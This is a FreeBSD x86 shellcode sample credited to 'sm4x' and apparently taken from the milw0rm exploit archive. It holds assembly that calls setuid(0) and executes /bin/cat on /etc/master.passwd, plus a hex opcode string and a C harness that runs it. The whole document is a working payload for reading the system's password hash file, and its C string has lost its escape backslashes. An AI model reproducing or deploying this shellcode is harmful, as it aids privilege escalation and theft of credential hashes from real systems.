; sm4x 2008
; /bin/cat /etc/master.passwd
; 65 bytes
; FreeBSD 7.0-RELEASE

global _start
_start:

xor     eax, eax

; --- setuid(0)
push    eax
push    eax
mov     al, 0x17
int     0x80

; --- setup /etc/master.passwd
jmp     short   load_file
ok:
pop     esi

; setup /bin/cat
push    eax
push    0x7461632f
push    0x6e69622f
mov     ebx, esp

; --- array setup
push    eax     ; null
push    esi     ; /etc/master.passwd
push    ebx     ; /bin/cat
mov     edx, esp

; -- execve()
push    eax     ; 0
push    edx     ; array { "/bin/cat", "/etc/master.passwd", 0}
push    ebx     ; /bin/cat
mov     al, 0x3b
push    eax
int     0x80

; --- exit
push    eax
push    eax
int     0x80

load_file:
call    ok
db      '/etc/master.passwd'

/*

char code[] = "x31xc0x50x50xb0x17xcdx80xebx1f"
       "x5ex50x68x2fx63x61x74x68x2fx62"
       "x69x6ex89xe3x50x56x53x89xe2x50"
       "x52x53xb0x3bx50xcdx80x50x50xcd"
       "x80xe8xdcxffxffxffx2fx65x74x63"
       "x2fx6dx61x73x74x65x72x2ex70x61"
       "x73x73x77x64";

int main(int argc, char **argv) {
        int (*func)();
        printf("Bytes: %dn", sizeof(code));
        func = (int (*)()) code;
        (int)(*func)();
}

*/

; milw0rm.com [2008-08-25]